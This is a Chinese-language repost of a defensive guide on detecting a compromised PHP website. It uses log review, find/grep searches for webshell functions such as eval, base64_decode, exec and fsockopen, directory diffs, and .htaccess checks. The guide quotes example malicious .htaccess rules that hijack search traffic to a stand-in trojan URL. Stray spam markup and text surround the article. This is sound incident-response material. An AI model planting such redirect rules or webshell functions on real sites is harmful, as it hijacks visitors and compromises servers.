<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/web/2718

            from :http://www.gregfreeman.org/2013/how-to-tell-if-your-php-site-has-been-compromised/

            0x01 查看訪問日志


            看是否有文件上傳操作(POST方法),

            IPREMOVED?-?-?[01/Mar/2013:06:16:48?-0600]?"POST/uploads/monthly_10_2012/view.php HTTP/1.1"?200?36?"-"?"Mozilla/5.0"
            IPREMOVED?-?-?[01/Mar/2013:06:12:58?-0600]?"POST/public/style_images/master/profile/blog.php HTTP/1.1"?200?36?"-"?"Mozilla/5.0"
            

            nginx默認記錄的日志格式為: ?

            access_log logs/access.log 
            

            access_log logs/access.log combined;
            

            nginx默認記錄日志的位置為:

            nginx安裝目錄/log/
            

            0x02 查找含有惡意php代碼的文件


            2.1 查找最近發生變化的php文件

            find?.?-type?f?-name?'*.php'?-mtime?-7
            

            -type f 表示搜索正常的一般文件 ? -mtime -7 表示7*24小時內修改的文件

            結果可能如下:

            ./uploads/monthly_04_2008/index.php
            ./uploads/monthly_10_2008/index.php
            ./uploads/monthly_08_2009/template.php
            ./uploads/monthly_02_2013/index.php
            

            2.2 查找文件中是否存在疑似代碼

            find?.?-type?f?-name?'*.php'?|?xargs?grep?-l?"eval *("?--color 
            

            ?(*代表任意個空格)

            find?.?-type?f?-name?'*.php'?|?xargs?grep?-l?"base64_decode *("?--color
            find?.?-type?f?-name?'*.php'?|?xargs?grep?-l?"gzinflate *("?--color
            find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color
            

            注解:很多命令不支持管道傳遞參數,而實際上又需要這樣,所以就用了xargs命令,這個命令可以用來管道傳遞參數;grep -l表示只包含某個字符串的文件名,如果去掉-l則會顯示匹配特定字符串的行內容

            幾個特殊字符串的意義: eval()把字符串按照php代碼來執行,是最常見的php一句話木馬

            base64_decode() 將字符串base64解碼,攻擊的時候payload是base64編碼,則這個函數就有用武之地了

            gzinflate() 將字符串解壓縮處理,攻擊的時候payload用gzdeflate壓縮之后,使用這個函數進行解壓縮

            str_rot13() 對字符串進行rot13編碼

            也可以使用正則表達式來搜索文件,查找可以代碼:

            find?.?-type?f?-name?'*.php'?|?xargs?egrep?-i?"(mail|fsockopen|pfsockopen|stream\_socket\_client|exec|system|passthru|eval|base64_decode) *("
            

            下面解釋webshell常用的函數:

            mail():可用來向網站用戶發送垃圾郵件

            fsockopen():打開一個網絡連接或者一個unix套接字連接,可用于payload發送遠程請求

            pfsockopen():和fsockopen()作用類似

            stream_socket_client():建立一個遠程連接,例子如下:

            <?php
            $fp?=?stream_socket_client("tcp://www.example.com:80",?$errno,?$errstr,?30);  
            if?(!$fp)?{  
            ????echo?"$errstr?($errno)<br?/>\n";  
            }?else?{  
            ????fwrite($fp,?"GET?/?HTTP/1.0\r\nHost:?www.example.com\r\nAccept:?*/*\r\n\r\n");  
            ????while?(!feof($fp))?{  
            ????????echo?fgets($fp,?1024);  
            ????}  
            ????fclose($fp);  
            }  
            ?>
            

            exec():命令執行函數

            system():同exec()

            passthru():同exec()

            preg_replace()正則表達式由修飾符"e"修飾的時候,替換字符串在替換之前需要按照php代碼執行,這種情況也需要考慮到,這種情況可采用這種以下掃搜:

            find?.?-type?f?-name?'*.php'?|?xargs?egrep?-i?"preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *,"?--color
            

            0x03 比較代碼文件


            這種情況需要有一份干凈的代碼,這份代碼和正在使用的代碼進行比較。例如

            diff?-r?wordpress-clean/?wordpress-compromised/?-x?wp-content
            

            上面的例子是比較wordpress-clean/ 和wordpress-comprised/兩個目錄,并且目錄里面的wp-content/子目錄不比較

            0x04 搜尋可寫的目錄


            看這個目錄里面是否有可疑文件,如下腳本查找權限為777的目錄是否存在php文件

            #!/bin/bash
            search_dir=$(pwd)
            writable_dirs=$(find?$search_dir?-type?d?-perm?0777)
            for?dir?in?$writable_dirs
                do
                ????#echo $dir
                ????find?$dir?-type?f?-name?'*.php'
            done
            

            黑客經常在jpg文件中插入php代碼,因此在查詢這些目錄的時候也要查詢jpg文件:

            find?wp-content/uploads?-type?f?-iname?'*.jpg'?|?xargs?grep?-i?php
            

            注意:-iname 表示文件名不區分大小寫 ? ? grep -i 也表示不區分大小寫

            0x05 檢測iframe標簽


            黑客經常做的是嵌入iframe標簽,因此可以查看網頁的源代碼,并且搜索其中是否存在iframe標簽,可使用如下命令:

            grep?-i?'<iframe'?mywebsite.txt
            

            對于動態生成的頁面,可使用ff的Live HTTP Headers插件,下載到源碼之后再查找是否存在iframe標簽

            0x06 查找數據庫中是否存在敏感字符串


            包括%base64_%、%eval(%<等上面提到的一些關鍵詞

            0x07 檢查.htaccess文件


            是否包含了auto_prepend_file和auto_append_file,使用如下命令

            find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file
            find . -type f -name '\.htaccess' | xargs grep -i auto_append_file
            

            auto_prepend_file的作用是加載當前腳本文件之前,先加載的php腳本 auto_append_file的作用是加載當前腳本文件之后,再加載的php腳本。黑客如果這么修改了.htaccess文件,那么可以在訪問.htaccess目錄的php腳本時,加載上自己想要加載的惡意腳本?.

            htaccess文件還可以被用來把訪問網站的流量劫持到黑客的網站,

            RewriteCond %{HTTP_USER_AGENT}^.*Baiduspider.*$
            Rewriterule ^(.*)$ http://www.hacker.com/muma.php [R=301]
            

            將baidu爬蟲的訪問重定向到黑客的網站(包含HTTP_USER_AGENT和http關鍵字)

            RewriteCond %{HTTP_REFERER} ^.*baidu.com.*$ Rewriterule ^(.*)$ http://www.hacker.com/muma.php [R=301]
            

            將來自baidu搜索引擎的流量重定向到黑客的網站(包含HTTP_REFERER和http關鍵字) 為了查看網站是否被.htaccess修改導致流量劫持,可以在搜索.htaccess文件的時候采用如下命令:?

            find . -type f -name '\.htaccess' | xargs grep -i http;
            find . -type f -name '\.htaccess' | xargs grep -i HTTP_USER_AGENT; 
            find . -type f -name '\.htaccess' | xargs grep -i HTTP_REFERER
            

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线